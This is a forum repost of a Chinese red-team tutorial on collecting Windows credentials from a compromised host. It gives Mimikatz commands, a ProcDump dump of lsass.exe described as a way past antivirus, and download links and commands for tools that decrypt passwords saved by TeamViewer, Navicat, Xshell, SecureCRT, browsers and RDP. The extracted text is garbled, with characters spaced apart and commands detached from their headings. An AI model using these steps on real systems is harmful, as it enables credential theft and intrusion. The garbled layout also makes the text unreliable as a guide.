搜索

[22025] 2021-05-30_『红蓝对抗』Windows下登录凭证获取技巧

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-18
2021-05-30_『红蓝对抗』Windows下登录凭证获取技巧 『 红 蓝 对 抗 』 W i n d o w s   下 登 录 凭 证 获 取 技 巧 L e m o n S e c   2 0 2 1 - 0 5 - 3 0 介 绍 ： 本 文 介 绍 了 几 种 下 登 录 凭 证 的 获 取 技 巧 。 转 自 『 宸 极 实 验 室 』 公 众 号 。 0 x 0 0   前 言 前 言 在 渗 透 测 试 中 ， 当 我 们 拿 下 一 台 主 机 后 ， 通 常 要 对 主 机 上 的 一 些 密 码 做 信 息 收 集 ， 以 便 后 续 渗 透 使 用 ， 本 文 介 绍 了 几 种 下 常 见 的 收 集 密 码 的 方 式 。 0 x 0 1   w i n d o w s 主 机 密 码 抓 取 主 机 密 码 抓 取 1 . 1   M i m i k a t z 密 码 抓 取 神 器 ， 从 系 统 进 程 中 抓 取 明 文 密 码 。 • 下 载 地 址 ： • 使 用 方 法 ： 管 理 员 权 限 运 行 ， 执 行 下 面 的 命 令 ： w i n d o w s w i n d o w s w i n d o w s w i n d o w s w i n d o w s l s a s s . e x e h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / M i m i k a t z M i m i k a t z . e x e p r i v i l e g e : : d e b u g       提 取 权 限 s e k u r l s a : : l o g o n p a s s w o r d s       抓 取 密 码
1 . 2   P r o c D u m p   +   M i m i k a t z 如 果 主 机 上 装 了 杀 毒 软 件 ， 开 了 防 火 墙 ， 例 如 ： 3 6 0 、 火 绒 之 类 的 话 。 就 会 被 检 测 为 病 毒 ， 无 法 使 用 。 由 于 是 从 中 提 取 明 文 密 码 的 ， 当 无 法 在 目 标 机 器 上 运 行 时 ， 我 们 可 使 用 工 具 将 系 统 的 进 程 进 行 转 储 ， 导 出 d m p 文 件 ， 拖 回 到 本 地 后 ， 在 本 地 再 利 用 进 行 读 取 。 本 身 是 作 为 一 个 正 常 的 运 维 辅 助 工 具 使 用 ， 并 不 带 毒 ， 所 以 不 会 被 杀 软 查 杀 。 • 下 载 地 址 ： M i m i k a t z M i m i k a t z l s a s s . e x e M i m i k a t z P r o c D u m p l s a s s . e x e M i m i k a t z P r o c D u m p h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / P r o c D u m p
• 使 用 方 法 ： 1 . 3   P w D u m p 7 使 用 该 工 具 获 取 值 之 后 ， 可 到 进 行 解 密 。 #   将 工 具 拷 贝 到 目 标 机 器 上 执 行 如 下 命 令 （ 需 要 管 理 员 权 限 ） P r o c D u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p M i m i k a t z #   s e k u r l s a : : m i n i d u m p   l s a s s . d m p M i m i k a t z #   s e k u r l s a : : l o g o n P a s s w o r d s   f u l l h a s h c m d 5 . c o m
1 . 4   G e t p a s s • 下 载 地 址 ： 0 x 0 2   第 三 方 运 维 工 具 密 码 抓 取 第 三 方 运 维 工 具 密 码 抓 取 2 . 1   T e a m V i e w e r • 下 载 地 址 ： • 使 用 方 法 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / k 8 g e g e / K 8 t o o l s / m a s t e r / G e t P a s s w o r d _ x 6 4 . r a r h t t p s : / / g i t h u b . c o m / u k n o w s e c / S h a r p D e c r y p t P w d / r a w / m a s t e r / S h a r p D e c r y p t P w d . e x e S h a r p D e c r y p t P w d . e x e   - T e a m V i e w e r
2 . 2   N a v i c a t • 下 载 地 址 ： • 使 用 方 法 ： h t t p s : / / g i t h u b . c o m / u k n o w s e c / S h a r p D e c r y p t P w d / r a w / m a s t e r / S h a r p D e c r y p t P w d . e x e S h a r p D e c r y p t P w d . e x e   - N a v i c a t C r y p t o
2 . 3   x s h e l l • 下 载 地 址 ： • 使 用 方 法 ： h t t p s : / / g i t h u b . c o m / u k n o w s e c / S h a r p D e c r y p t P w d / r a w / m a s t e r / S h a r p D e c r y p t P w d . e x e 先 执 行   ` w h o a m i   / u s e r `   将 用 户 名 和 s i d 保 存 下 来 ， 然 后 再 使 用 下 面 的 命 令 : S h a r p D e c r y p t P w d . e x e   - X m a n g a g e r   - p   S e s s i o n P a t h   - s   u s e r n a m e + s i d
2 . 4   s e c u r e c r t • 下 载 地 址 ： • 使 用 方 法 ： 0 x 0 3   浏 览 器 密 码 抓 取 浏 览 器 密 码 抓 取 3 . 1   L a Z a g n e h t t p s : / / g i t h u b . c o m / h u s t l i b r a c o / M o y e / b l o b / m a s t e r / S e c u r e C R T D e c r y p t . p y 解 密 s e c u r e C R T 保 存 的 密 码 1 .   找 到 密 码 保 存 位 置 ， 每 台 服 务 器 一 个 i n i 文 件 ， w i n d o w s 系 统 位 于 *   用 户 名 A p p D a t a R o a m i n g V a n D y k e C o n f i g S e s s i o n s         （ 安 装 版 ） * S e c u r e C R T S e c u r e F X _ h h _ x 8 6 _ 7 . 0 . 0 . 3 2 6 D a t a S e t t i n g s C o n f i g S e s s i o n s     （ 绿 色 移 动 版 ） 2 .   执 行 脚 本 ， p y t h o n   S e c u r e C R T D e c r y p t . p y   [ f i l e n a m e . . . ]
• 下 载 地 址 ： • 使 用 方 法 ： 3 . 2   B r o w s e r P a s s w o r d D u m p •   下 载 地 址 ： •   使 用 方 法 ： h t t p s : / / g i t h u b . c o m / e t h i c a l h a c k e r a g n i d h r a / L a Z a g n e / a r c h i v e / 2 . 3 . 1 . z i p l a Z a g n e . e x e   b r o w s e r s h t t p s : / / f i l e s 1 . m a j o r g e e k s . c o m / 0 2 0 c 4 8 7 7 3 6 2 5 3 0 f c c a d f 0 0 6 a 8 5 8 f 5 6 e e 9 6 3 7 1 7 7 d / c o v e r t o p s / B r o w s e r P a s s w o r d D u m p . z i p 点 击 s e t u p 安 装 完 成 以 后 ， 即 可 提 取 出 单 文 件 来 运 行 使 用 。
0 x 0 4   远 程 桌 面 连 接 密 码 抓 取 远 程 桌 面 连 接 密 码 抓 取 4 . 1   n e t p a s s • 下 载 地 址 ： • 使 用 说 明 ： 0 x 0 5   总 结 总 结 1 、 上 述 描 述 的 抓 取 密 码 的 方 式 ， 大 部 分 需 使 用 管 理 员 权 限 才 能 抓 取 。 2 、 密 码 仅 在 h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / n e t p a s s - x 6 4 . z i p 使 用 管 理 员 权 限 运 行 即 可 w i n d o w s w i n 2 0 0 8
及 以 下 可 使 用 ， 及 及 以 上 默 认 不 保 存 明 文 密 码 ， 无 法 使 用 工 具 抓 取 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 w i n 1 0 s e r v e r 2 0 1 2
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理